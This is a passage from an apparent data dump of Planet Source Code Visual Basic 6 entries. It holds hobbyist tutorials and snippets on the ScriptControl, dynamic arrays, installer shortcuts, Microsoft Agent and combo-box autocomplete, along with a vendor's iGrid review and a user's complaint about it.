ExecuteStatement. But, it isn't as functional as other methods. Here's how to use it: \nScriptCTL.executestatement \"MsgBox \"\"Hi!\"\"\" 'you can also set the scriptcontrol's variables quickly \nScriptCTL.executestatement \"myVar = 6\" \n\n<hr>\nThat's the simplest way. The good way is to add functions to the control and then run them. This is very good because it lets people add their own functions and then evaluate them depending on other variables. To do that, you'd do something like this: \nDim strProgram As String \nstrProgram = \"Function popUp(str)\" & vbcrlf & _ \n \"MsgBox str\" & vbCrlf & _ \n \"End Function\" \n'now add the code to the control \nscriptCTL.addcode strProgram \n'note: you can also add the values of textBoxes, etc.\n \nNow, to run our program's \"popUp\" function, simply do this: \nscriptCTL.run \"popUp\", \"penguins are cool\" \n'this runs \"popUp\", with the first byVal as what you want to pop up! \n\nNow here's a basic summary of this method that takes two numbers you write in textboxes and multiplies them. (In the zip, the first example does a similar thing, but lets the user input their own function!): \nPrivate Sub Command1_Click() \n 'create the scriptcontrol here i'm too lazy\n Dim strProgram As String \nstrProgram = \"Function multiply(x,y)\" & vbCrlf & _ \n \"multiply=x*y\" & vbcrlf & \"End Sub\"\n \nScriptCTL.addcode strProgram \nMsgBox ScriptCTL.run(\"multiply\", Text1.Text, Text2.Text) \n'multiplies value of 2 textBoxes \nEnd Sub <hr>\nAnother useful thing is evaluating statements. This function just returns a boolean value from the ScriptControl. Very simple. Here's an example: \nScriptCTL.executestatement \"x = 1\" \nMsgBox ScriptCTL.eval(\"x=1\") 'returns true \nMsgBox ScriptCTL.eval(\"x-5=x*x+2\") 'false <hr>\nError Messages: This can let you (the deugger), or your user know when an error has occured. This is how to do it: \nPrivate Sub Command1_Click() \n'create scriptcontrol here \nScriptCTL.executestatement \"x=3/0\" \n'(dividing by zero is not allowed in math) \nOn Error Goto errHan Exit Sub \nerrHan: \nDebug.Print ScriptControl1.Error.Number & _ \n\t\":\" & ScriptControl1.Error.Description & _ \n\t\" in line \" & ScriptControl1.Error.Line \nEnd Sub <hr>Well, that concludes this basic tutorial of the Scripting Control. There is A LOT more you can do (like add code from modules in your VB project). This can all be found in the help file that comes with windows (at least in XP). It can be found in Windows\\System32 and is named \"MSScript.hlp\". I hope you enjoyed and learned from this tutorial. Please download the sample code, it is very good. Please vote and give feedback, I spent a really long time on the programs and this tutorial. :-)\n\t\n"},{"WorldId":1,"id":43726,"LineNumber":1,"line":"This is a short tutorial on dynamically building arrays \n(with examples for 1 and 2 dimensions). \nThere are many occasions where you need \nto allocate an array, but don't know what the upper bounds are. \nShown here is an efficient tried and trusted method. \nThe whole concept revolves around UBOUND - the upper limit of your array. \nKnowing the upper limit allows you to increase it's size by as much as \nyou need to, without having to initially allocate a huge \narray at the start! \nThe key points are \n'define a 0 bounded array, so that redims later on do not fail \nReDim sTempArray(0) \n'perform your loop to work out what must go in each element of your array \nDo If we need to allocate another item to the array Then 'redimension the array to accomodate the new data ReDim Preserve sTempArray(UBound(sTempArray) + 1) \nsTempArray(UBound(sTempArray) - 1) = ??? \nEnd If \nLoop Until ??? \n'this method allocates 1 too many array items, so reduce it by 1 \nReDim Preserve sTempArray(UBound(sTempArray) - 1) \n'Array is ready to be returned with only the data you have allocated \nYou can paste the following example code to an app. \nrun your app, Pause it, and in the immediates window, type GetArrayData \nSub GetArrayData() \nDim sRecieve1DArray() As String \nDim sRecieve2DArray() As String \nsRecieve1DArray = ReturnOneDimensionalArray Debug.Print UBound(sRecieve1DArray) Debug.Print sRecieve1DArray(0), sRecieve1DArray(1), sRecieve1DArray(2) sRecieve2DArray = ReturnTwoDimensionalArray \nDebug.Print UBound(sRecieve2DArray, 2) Debug.Print sRecieve2DArray(0, 0), sRecieve2DArray(0, 1), sRecieve2DArray(0, 2) \nDebug.Print sRecieve2DArray(1, 0), sRecieve2DArray(1, 1), sRecieve2DArray(1, 2) \nEnd Sub \nFunction ReturnOneDimensionalArray() As String() \nDim sTempArray() As String \nDim iCount As Integer 'initially define the array otherwise the other redims will fail ReDim sTempArray(0) iCount = 0 Do 'redimension the array to the upper limt + 1 \nReDim Preserve sTempArray(UBound(sTempArray) + 1) 'populate into the upper limit -1 \nsTempArray(UBound(sTempArray) - 1) = Chr(65 + iCount) iCount = iCount + 1 Loop Until iCount >=\n 26 'you have 1 more index than necessary, so reduce it by 1 ReDim Preserve sTempArray(UBound(sTempArray) - 1) 'assign the temporary array to the function for return \nReturnOneDimensionalArray = sTempArray \nEnd Function \nFunction ReturnTwoDimensionalArray() As String() \nDim sTempArray() As String \nDim iCount As Integer 'initially define the array otherwise the other redims will fail 'remember, you can only redim the last dimension ReDim sTempArray(2, 0) \niCount = 0 Do 'redimension the array to the upper limt + 1 'you are referencing and increasing the 2nd dimension ReDim Preserve sTempArray(2, UBound(sTempArray, 2) + 1) 'populate into the upper limit -1 sTempArray(0, UBound(sTempArray, 2) - 1) = Chr(65 + iCount) sTempArray(1, UBound(sTempArray, 2) - 1) = Chr(97 + iCount) iCount = iCount + 1 Loop Until iCount >=\n 26 \n'you have 1 more index than necessary (on the 2nd dimension), so reduce it by 1 ReDim Preserve sTempArray(2, UBound(sTempArray, 2) - 1) \n'assign the temporary array to the function for return \nReturnTwoDimensionalArray = sTempArray End Function\n "},{"WorldId":1,"id":43727,"LineNumber":1,"line":"If you find this article useful, please be sure to come back and vote for it! I would greatly appreciate that, Christopher.\n________________________________\n┬á┬á┬á In reading the article titled \"Make P&D\nWizard/Setup1.exe create Desktop shortcuts\" (http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=29890&lngWId=1) written by W. Baldwin on\n12/17/2001 here at PSC, I found that my version of Setup1.vbp (Visual Studio)\nwas different that the one mentioned in that article. I found that the lines of\ncode that were mentioned did not match up with what I was looking at myself. I\nfound the answers by carefully studying the code and wanted to provide these\nanswers with the rest of you. Although my article will show different code\nlines, the concept is the same and I do recommend that you read the before\nmentioned article along with this article to get a full understanding of what\nyou are doing and why you are doing it. W. Baldwin's article has many links to\nother articles on MSDN that support and explain the modification of Setup1.vbp.\nI wanted to post these differences for anyone that may have the same version as\nI do and could not make the necessary modifications to make this change work.\n┬á┬á┬á As always, you should back up your Setup1.vbp files\nfor safety! Once you have backed up the files, follow these steps to get\nyour applications icons on your users desktop with ease. Note that \"Red\"\ntext is the original text and \"Green\"\ntext is the modified text.\n<ol>\n <li>Open Setup1.vbp, go to frmSetup1 in the Form_Load Event and look for the\n following lines of code: \n If (GetGroup(gsICONGROUP, iLoop) = gsSTARTMENUKEY) Or (GetGroup(gsICONGROUP, iLoop) =\n gsPROGMENUKEY) Then \n \n Change the line to read as follows: \n If (GetGroup(gsICONGROUP, iLoop) = gsSTARTMENUKEY) Or (GetGroup(gsICONGROUP, iLoop) = gsPROGMENUKEY) Or (GetGroup(gsICONGROUP, iLoop) = \"DESKTOP\") Then</li>\n <li>Now go to basSetup1 in the sub \"CreateIcons\" and look for the\n following line of code (near the bottom of the sub): \n Loop \n CreateOSLink frmSetup1, strGroup, strProgramPath, strProgramArgs, strProgramIconTitle, fPrivate, sParent \n \n We are going to ADD code between the Loop end and the call to\n CreateOSLink to say the following: \n Loop \n If UCase(strGroup) = \"DESKTOP\" Then \n strGroup = \"..\\..\\Desktop\" \n End If \n CreateOSLink frmSetup1, strGroup,\n strProgramPath, strProgramArgs, strProgramIconTitle, fPrivate, sParent</li>\n <li>We are now done modifying Setup1.vbp, save your work, and make\n \"Setup1.exe\". This new exe should reside in the folder\n \"Program Files/Microsoft Visual Studio/VB98/Wizards/PDWizard\" (of\n course, your program name will vary by the version and type of VB you are\n running. But the sub folders will be the same.</li>\n <li>Now we must modify the Setup1.lst file, this file can be opened with any\n text editor, I use NotePad to work on mine. The modifications from here on\n are the same as the previous article mentioned. After you Package/Deploy\n your program, open the file \"Setup1.lst\" and go down to the [IconGroups]\n section of the file. You will find the following text for a program that has\n just one icon that will be placed in the \"Programs\" folder of the\n Start Menu: \n [IconGroups] \n Group0=Scheduler \n PrivateGroup0=-1 \n Parent0=$(Programs) \n \n [Scheduler] \n Icon1=\"Scheduler.exe\" \n Title1=Scheduler \n StartIn1=$(AppPath) \n \n This text sets an Icon for a program called \"Scheduler\" in\n the Start Menu under \"Programs\". Under [IconGroups] there is just\n one group and under [Scheduler] you see the information for that group. \n </li>\n <li>Now we are going to add a second group to describe the Desktop icon,\n modify Setup1.lst to read as follows: \n \n [IconGroups] \n Group0=Scheduler \n PrivateGroup0=-1 \n Parent0=$(Programs) \n \n Group1=DESKTOP \n PrivateGroup1=-1 \n Parent1=$(Programs) \n \n [Scheduler] \n Icon1=\"Scheduler.exe\" \n Title1=Scheduler \n StartIn1=$(AppPath) \n \n [DESKTOP] \n Icon1=\"Scheduler.exe\" \n Title1=Scheduler \n StartIn1=$(AppPath) \n \n As you can see, we added another group, \"Group1\" and called\n it \"DESKTOP\", then below that we added a description for the\n \"DESKTOP\" icon to show that the icon itself is the icon for the\n Program's Exe file. The title is Scheduler and the \"StartIn\" path.\n Note that each group is numbered, starting with Group0, then Group1,\n if we were to add more icons they would be named Group2, Group3 and so on. A\n very good explanation of this is in the previous article I mentioned at the\n top of this tutorial.</li>\n</ol>\n┬á┬á┬á I hope that this article will help those that had\nquestions and just couldn't find the right answer's out there anywhere. \n\n"},{"WorldId":1,"id":43733,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43743,"LineNumber":1,"line":"Private Declare Function LoadLibrary Lib \"kernel32\" Alias \"LoadLibraryA\" (ByVal lpLibFileName As String) As Long\nPrivate Declare Function GetProcAddress Lib \"kernel32\" (ByVal hModule As Long, ByVal lpProcName As String) As Long\nPrivate Declare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Any, ByVal wParam As Any, ByVal lParam As Any) As Long\nPrivate Declare Function FreeLibrary Lib \"kernel32\" (ByVal hLibModule As Long) As Long\nPrivate Sub Form_Load()\n Dim Libary As Long\n Dim PrcAdress As Long\n On Error GoTo NoApi\n 'Load the Libary\n Libary = LoadLibrary(\"user32\")\n 'Find the procedure we want\n Procadress = GetProcAddress(Libary, \"MessageBoxA\")\n 'Call the Api\n CallWindowProc Procadress, Me.hWnd, \"My Message\", \"Api without Declare\", &H0&\n 'Unload the libary\n FreeLibrary Libary\nNoApi:\nEnd Sub"},{"WorldId":1,"id":43753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43774,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43780,"LineNumber":1,"line":"'INSTRUCTIONS\n'* Add the component \"Microsoft Agent Control\"\n'* Add the comonent \"Microsoft Agent Control\" to the form\n'* Add a text box alled TEXT1\n'* Add a button called CMD_HIDE\n'* Add a button called CMD_SHOW\n'* Add a button called CMD_SPEAK\n'* Add a button called CMD_ANIMATION\n'* Add a button called CMD_STOP\n'* Add a button called CMD_FREEZE\n'* Add a button called CMD_SHOWHIDE\n'* Add a button called CMD_SPEAKQUESTION\n'* Add a list box called LST_ANIMATIONS\n'\n' You may need to install the merlin agent character if not already installed\n'URL to download the character = http://www.msagentring.org/download.asp?char=merlin\n'NO DECLARATIONS\n'START - CODE\n Private Sub cmd_freeze_Click()\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n merlin.Stop 'Will pause the current animation\n End Sub\n Private Sub cmd_speak_Click()\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n If Not Text1.Text = \"\" Then merlin.Speak Text1.Text 'Will speak whatever text that is entered in the text box if text is not blank\n End Sub\n Private Sub cmd_Hide_Click()\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n merlin.Hide 'Hides Merlin\n End Sub\n Private Sub cmd_Show_Click()\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n merlin.Show 'Shows Merlin in the screen\n End Sub\n Private Sub cmd_animation_Click()\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n merlin.Play lst_animations.Text 'Will play animation that is selected in the animations list box\n End Sub\n Private Sub cmd_Stop_Click()\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n merlin.Stop 'Will stop the animation - needed for some animations that have built in loop\n merlin.Play \"RestPose\" 'Will reset Merlin's pose\n End Sub\n Private Sub Cmd_speakquestion_Click()\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n If Not Text1.Text = \"\" Then merlin.Think Text1.Text 'Will speak whatever text that is entered in the text box if text is not blank. Will display in thought bubble.\n End Sub\n Private Sub Cmd_showhide_Click()\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n merlin.ShowPopupMenu 100, 100 'This will display a clickable HIDE button next to Merlin\n End Sub\n Private Sub Form_Load()\n 'You can specify other Microsoft Agents by pointing to a specific agent file.\n 'The agent file will have an ACS extension. Remove the quote from the following line and edit.\n 'Agent1.Characters.Load \"Merlin\", \"C:\\MYAGENT\\Merlin.acs\"\n \n Agent1.Characters.Load \"merlin\", Path 'Needed to access Merlin commands - If you specify your own agent file, delete this line.\n Set merlin = Agent1.Characters(\"merlin\") 'Needed on every object that calls Merlin\n merlin.LanguageID = &H409 'Sets 'Merlin language\n merlin.Show 'Shows Merlin on the screen\n 'START - Fill list box with animations\n 'Listed this way to show all the animations.\n lst_animations.AddItem \"Acknowledge\"\n lst_animations.AddItem \"Alert\"\n lst_animations.AddItem \"Announce\"\n lst_animations.AddItem \"Blink\"\n lst_animations.AddItem \"Confused\"\n lst_animations.AddItem \"Congratulate\"\n lst_animations.AddItem \"Congratulate_2\"\n lst_animations.AddItem \"Decline\"\n lst_animations.AddItem \"DoMagic1\"\n lst_animations.AddItem \"DoMagic2\"\n lst_animations.AddItem \"DontRecognize\"\n lst_animations.AddItem \"Explain\"\n lst_animations.AddItem \"GestureDown\"\n lst_animations.AddItem \"GestureLeft\"\n lst_animations.AddItem \"GestureRight\"\n lst_animations.AddItem \"GestureUp\"\n lst_animations.AddItem \"GetAttention\"\n lst_animations.AddItem \"GetAttentionContinued\"\n lst_animations.AddItem \"GetAttentionReturn\"\n lst_animations.AddItem \"Greet\"\n lst_animations.AddItem \"Hearing_1\"\n lst_animations.AddItem \"Hearing_2\"\n lst_animations.AddItem \"Hearing_3\"\n lst_animations.AddItem \"Hearing_4\"\n lst_animations.AddItem \"Hide\"\n lst_animations.AddItem \"Idle1_1\"\n lst_animations.AddItem \"Idle1_2\"\n lst_animations.AddItem \"Idle1_3\"\n lst_animations.AddItem \"Idle1_4\"\n lst_animations.AddItem \"Idle2_1\"\n lst_animations.AddItem \"Idle2_2\"\n lst_animations.AddItem \"Idle3_1\"\n lst_animations.AddItem \"Idle3_2\"\n lst_animations.AddItem \"LookDown\"\n lst_animations.AddItem \"LookDownBlink\"\n lst_animations.AddItem \"LookDownReturn\"\n lst_animations.AddItem \"LookLeft\"\n lst_animations.AddItem \"LookLeftBlink\"\n lst_animations.AddItem \"LookLeft\"\n lst_animations.AddItem \"LookLeftBlink\"\n lst_animations.AddItem \"LookLeftReturn\"\n lst_animations.AddItem \"LookRight\"\n lst_animations.AddItem \"LookRightBlink\"\n lst_animations.AddItem \"LookRightReturn\"\n lst_animations.AddItem \"LookUp\"\n lst_animations.AddItem \"LookUpBlink\"\n lst_animations.AddItem \"LookUpReturn\"\n lst_animations.AddItem \"MoveDown\"\n lst_animations.AddItem \"MoveLeft\"\n lst_animations.AddItem \"MoveRight\"\n lst_animations.AddItem \"MoveUp\"\n lst_animations.AddItem \"Pleased\"\n lst_animations.AddItem \"Process\"\n lst_animations.AddItem \"Processing\"\n lst_animations.AddItem \"Read\"\n lst_animations.AddItem \"ReadContinued\"\n lst_animations.AddItem \"Reading\"\n lst_animations.AddItem \"ReadReturn\"\n lst_animations.AddItem \"RestPose\"\n lst_animations.AddItem \"Sad\"\n lst_animations.AddItem \"Search\"\n lst_animations.AddItem \"Searching\"\n lst_animations.AddItem \"Show\"\n lst_animations.AddItem \"StartListening\"\n lst_animations.AddItem \"StopListening\"\n lst_animations.AddItem \"Suggest\"\n lst_animations.AddItem \"Surprised\"\n lst_animations.AddItem \"Think\"\n lst_animations.AddItem \"Thinking\"\n lst_animations.AddItem \"Uncertain\"\n lst_animations.AddItem \"Wave\"\n lst_animations.AddItem \"Write\"\n lst_animations.AddItem \"WriteContinued\"\n lst_animations.AddItem \"WriteReturn\"\n lst_animations.AddItem \"Writing\"\n 'END - Fill list box with animations\n \n 'START - Merlin introduction\n merlin.Play \"Announce\"\n merlin.Play \"RestPose\"\n merlin.Play \"Explain\"\n merlin.Speak \"Welcome to the Microsoft Agent how to VB6 snippet. Brought to you by http://allvb.net\"\n merlin.Play \"DoMagic1\"\n merlin.Play \"DoMagic2\"\n merlin.Play \"RestPose\"\n merlin.Play \"Explain\"\n merlin.Speak \"You can use my code to learn how to use Microsoft Agent in your own programs.\"\n merlin.Play \"Wave\"\n merlin.Play \"RestPose\"\n 'END - Merlin introduction\n End Sub\n'END - CODE\n"},{"WorldId":1,"id":43781,"LineNumber":1,"line":"Please Download the attached .zip file, you will need Winzip to extract it. If you don't have Microsoft Word to read the tutorial, contact me and I will send you a .txt version of it. I hope this tutorial helps. Best Regards, Coding MasterMind."},{"WorldId":1,"id":43788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43809,"LineNumber":1,"line":"Hello, If your new to compression or dont know what it is, heres a quick overview. \nCompression is when a file or a length of data is made smaller than the orginal size. The main factor in compression is repeats. the more repeats in a string or file the higher the compression. \nExample. \n\"hello hello hello hello \" \nthis string above is 24 charecters long. And this example can be compressed down to.. \n\"4~hello \" \nwhich is 8 charecters long. Compression :) (This compression is RLE (Run Length Encoding) Very basic and isnt that powerful. \nI hope your following ok :) (If theres any bad spelling in here sorry, cant spell at all!) \nSo.. the key to compression is repeats, My idea is to take an image. 64 by 64, and run throw the image reading each 8 by 8 block, scanning the picture of blocks that are the same. \nis that bad english? hmmm heres what i mean\nStep 1) Get the block at X,Y (8by8) \nStep 2) Scan throw the image From X,Y to the end of the picture (8by8) \nStep 3) Compare the blocks. If the same (or 90% similar) Record its position and the block its the same to. \nStep 4) Move X,Y and repeat \nBetter? \nNow the maths.... A Pixel is made up of 3 colours (If true colour :P) Red Green Blue (0-255,0-255,0-255) and that is 24bits. \n8 by 8 blocks.. at 24bits depth. \nso 8x8x24 = 1536bits, Each block that we HAVE to store is 1536bits big. But storing the repeating blocks (The easyest way i can think of, If u think of a better idea email me!) is to use a header. \nThe header must tell you how many blocks are repeated.. and this could be a very large number depending on the image size. so a 16bit number would be used at the beginning. Then .. each block repeated must have the X,Y \nX,Y is 4 bits each (64/8 = 8 = 4bits) so in total thats 8bits for a 8x8x24 block.. \n... Now to test it? \nA completly blank sheet 64x64, \n64/8 = 8 \nthere is 64 blocks in total (8*8). Now coz only 1 block is needed and the rest are repeats.. \n1 MASTER BLOCK = 1536bits \n1 HEADER = 16bits \n63 COPYS = 8bits * 63 = 504bits \nThe total is 2056bits compressed... instead of(1536*64) 98304bits. \nCompression of \n2056 / 98304 * 100 ~ 2.0914 \n100 - 2.0914 = 97.90%! \nNow ofcouse this can be changed .. because the more repeats you can get the better compression so mayb change it to compare layers instead of whole pictures (RGB)? and instead of 90%, 95% for better qual? or 50% of better compression. And ofcourse.. the compression will go down when changing the size of the picture (X,Y when saved has to be bigger) but in princable it should (crosses fingers) work... email me if you find a fault with my code or find a better way of doing things. (Vectors mayb?) :) xxx Mike xxx"},{"WorldId":1,"id":43812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43829,"LineNumber":1,"line":"<div style=\"font-size: 12px;\">\n┬á\nPlease, read this carefully:\nFirst of all, we must to say that we made a mistake when we published this review. The fact is that we saw the \"Third Party Product Review\" option without any explanation after we had pressed the Upload button and, of course, we as a third-party developer of components, published this review. We didn't know at that time that only PSC visitors can publish their review about components they use. But we've decided to keep this review because all of its comments are practically the same that PSC implies (\"Reviews are a new feature of Planet Source Code that allow site visitors to share their experiences on commercial third party products in real life situations\").\nSecondly, the first version of this control was really based on the source code of vbAccelerator S-Grid control (which is free). But today iGrid is an independent and powerfull editable grid control. We have been working at iGrid last two years. We've fixed at least 100 bugs in S-Grid, we've implemented a lot of new features and we support our control today and will support it in the future! You must decide by youself what is more suitable for you - free non-editable non-supported S-Grid or our commercial iGrid with numerous new useful features and instant support.\niGrid features\niGrid ActiveX control is a grid control that allows you to edit its cells using built-in editors and can emulate the Outlook messages list. The highly optimized flicker-free display code makes this grid draw faster than FlexGrid and other VB grids even while it allows more sophisticated displays to be set up. It is also a good replacement for a ListView in report mode.\niGrid implements many useful features - multicolumn sorting, custom draw cells, saving and restoring its layout, own Memory Manager.\nEach cell of the grid can be formatted separately from other cells in the grid and even from the cells of the same column. Developers can use format strings, format flags (horizontal and vertical alignment, ellipsis at the end or at the middle of the cell text, if necessary, so that the result fits in the cell rectangle, prefix characters (\"&\") in the cell text, etc). Colors of iGrid elements can be adjusted. You can also turn off vertical and/or vertical or horizontal grid lines, use multiselect mode to select some cells simultaneously and row mode to select all cells in a single row, headers of columns may be flat or 3D and can be dragged or not, and so on.\nThe main distinctive feature of iGrid from is the ability to edit its cells using built-in in-place editing features (textboxes, comboboxes and checkboxes using a lot of formatting options for each type of cells - single-line and multi-line textboxes, automatic adjustment dropdown width of comboboxes based on the longest text width of comboitems, checkboxes with two and three states , etc). It also provides a lot of useful methods and events for fine tuning of editing process. These methods and events allow to control the flow of editing process and validate data entered by the user. Events for control of editing process include RequestEdit, BeforeCommitEdit, AfterCommitEdit and CancelEdit.\niGrid supports virtual mode. In this mode, iGrid will request new rows whenever they need to be displayed.\niGrid is meant to be an extensible control you can use to create your own fully customizable interfaces. iGrid Extra Demos pack demonstrates how you can implement:\n<UL>\n<LI>treeview functionality with dynamic loading of child items (when the user clicks the plus button at the first time);\n<LI>cells with the ellipsis button and non-standard buttons (for instance, colored multiline caption);\n<LI>standard and balloon tooltips for iGrid cells and column headers;\n<LI>drag-n-drop operation when the user can select several rows in multiselect mode and drag them into another grid.\n</UL>\n</div>"},{"WorldId":1,"id":43836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43850,"LineNumber":1,"line":"Just to let everyone know. Since the Comments I left on the IGrid Original Review Where DELETED!\nThe IGrid is based on the SGrid from VBAccelerator!\nDon't Buy the IGrid control. Download It from VBAcellerator.com and ammend It your self.\nTo the Author Of IGrid:\nDON'T DELETE COMMENTS. THIS IS WHAT HAPPENS!!!!\n"},{"WorldId":1,"id":43856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43868,"LineNumber":1,"line":"This article will detail in 10 easy steps\nhow to create your own Uninstall icon (and place it in the Program Group) for\nevery VB project that you create. The problem with P&D Wizard is that it\nwill not allow you to create an icon in the icon group that points to\nSt6unst.exe (the uninstaller for VB). I have created program for my family, they\nhave installed them, and then in their infinite wisdom, simply gone into My\nComputer and deleted the folder(s) for the program not realizing that they must\ngo to Add/Remove Programs to uninstall it from there. This deletes the\nSt6unst.log file and thus renders the uninstall process null and void! So we are\ngoing to provide \"computer illiterate\" people (like my family) with\nanother icon, in the start menu of your program, to uninstall your program!\nBefore we get started, just a quick note to\nhelp you read the article better. Any text in Italics\nwill denote text that is optional or can be renamed as you choose. Ok,\nlet's get started!\n<ol>\n <li>Create a new Standard Project in VB, add one\n Form and one Module (bas) to the project.</li>\n <li>Rename the Project Uninstall, and the\n Module unInstall.</li>\n <li>Add an icon to Form1 (the form does\n not really need to be renamed as the form will only be used for its\n icon), I use the icon located at Program Files\\Microsoft Visual Studio\\Common\\Graphics\\Icons\\Win95\\RECYFULL.ICO.</li>\n <li>In the unInstall module add a\n \"Sub Main\". Go to Project Properties and set \"Sub Main\"\n as the startup object. While in the Project Properties, click on the Make\n Tab and click on the Icon dropdown to select Form1. This sets your\n executables Icon to the icon you chose for Form1.</li>\n <li>In Sub Main add the following lines of code\n (this is the only code needed for your uninstaller program) which will open\n the Add/Remove Programs Dialog of the Control Panel: \n \n Sub Main() \n ┬á┬á┬á 'opens the Add/Remove Programs\n dialog of the Control Panel \n ┬á┬á┬á Shell \"rundll32.exe shell32.dll,Control_RunDLL\n appwiz.cpl,,1\" \n ┬á┬á┬á End \n End Sub \n </li>\n <li>Save the project to it's own folder (location\n of your choice) and compile the project to the same folder.</li>\n <li>Now, whenever you package a project, include\n this Unistall.exe file with your other project files. During the\n Package process, when you get to the Included Files, click the Add button\n and navigate to the folder where you compiled the Unistall.exe\n program and include that file with your current project.</li>\n <li>A few steps later in the Start Menu Items\n step, click New Item. Name the New Item Uninstall APPNAME (where\n APPNAME is the name of the application that you are currently packaging).</li>\n <li>Set the Target for this New Item to the Uninstall.exe\n file.</li>\n <li>In the next step, Install Locations, be sure\n that the install location for your Uninstall.exe file is the\n ($AppPath) macro.</li>\n</ol>\nYou've done it! A very simple, easy way\nto safe guard your users from, well, themselves! Now every time they go to the\nstart menu to run your program, they will see the \"Uninstall\"\nicon there as well. When they click on this Uninstall APPNAME icon, it\nwill open the Add/Remove Programs Dialog of the Control Panel and prompt them to\nuninstall the program from there!\nI hope that you find this article useful. If\nyou do please be sure to come back and vote! I would appreciate your\nvotes AND comments too. Hope you have a great day! \nChristopher\n"},{"WorldId":1,"id":43871,"LineNumber":1,"line":"Function BuildPath(ByVal Path As String) As Boolean\nOn Error Resume Next\nDim Fnd As Long\nDim Tmp As String\nDim FileSystemObj As Object\nSet FileSystemObj = CreateObject(\"Scripting.FileSystemObject\")\nIf FileSystemObj.DriveExists(FileSystemObj.GetDriveName(Path)) = False Then Exit Function\nPath = Path & IIf(Right(Path, 1) = \"\\\", vbNullString, \"\\\")\nFnd = InStr(Path, \"\\\")\nDo While Fnd\nTmp = Tmp & Left(Path, Fnd)\nPath = Mid(Path, Fnd + 1)\nMkDir Tmp\nIf FileSystemObj.DriveExists(Tmp) = False And FileSystemObj.FolderExists(Tmp) = False Then Exit Function\nFnd = InStr(Path, \"\\\")\nLoop\nBuildPath = True\nEnd Function\nPrivate Sub Command1_Click()\nCall BuildPath(\"C:\\A1\\A2\\A3\\A4\\A5\\A6\\A7\")\nEnd Sub"},{"WorldId":1,"id":43875,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43881,"LineNumber":1,"line":"Unfortunately PSC doen't let me upload pictures so I use an external link. Vistit it and bookmark it.\nhttp://agrino.org/hsg/DirectX/DX.htm\n"},{"WorldId":1,"id":43885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43894,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43900,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43907,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":43911,"LineNumber":1,"line":"Option Explicit\nPublic Const CB_FINDSTRING = &H14C\nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nFunction AutoComplete(cbCombo As ComboBox, sKeyAscii As Integer, Optional bUpperCase As Boolean = True) As Integer\n Dim lngFind As Long, intPos As Integer, intLength As Integer\n Dim tStr As String\n With cbCombo\n If sKeyAscii = 8 Then\n If .SelStart = 0 Then Exit Function\n .SelStart = .SelStart - 1\n .SelLength = 32000\n .SelText = \"\"\n Else\n intPos = .SelStart '// save intial cursor position\n tStr = .Text '// save string\n If bUpperCase = True Then\n .SelText = UCase(Chr(sKeyAscii)) '// change string. (uppercase only)\n Else\n .SelText = UCase(Chr(sKeyAscii)) '// change string. (leave case alone)\n End If\n End If\n \n lngFind = SendMessage(.hwnd, CB_FINDSTRING, 0, ByVal .Text) '// Find string in combobox\n If lngFind = -1 Then '// if string not found\n .Text = tStr '// set old string (used for boxes that require charachter monitoring\n .SelStart = intPos '// set cursor position\n .SelLength = (Len(.Text) - intPos) '// set selected length\n AutoComplete = 0 '// return 0 value to KeyAscii\n Exit Function\n \n Else '// If string found\n intPos = .SelStart '// save cursor position\n intLength = Len(.List(lngFind)) - Len(.Text) '// save remaining highlighted text length\n .SelText = .SelText & Right(.List(lngFind), intLength) '// change new text in string\n '.Text = .List(lngFind)'// Use this instead of the above .Seltext line to set the text typed to the exact case of the item selected in the combo box.\n .SelStart = intPos '// set cursor position\n .SelLength = intLength '// set selected length\n End If\n End With\n \nEnd 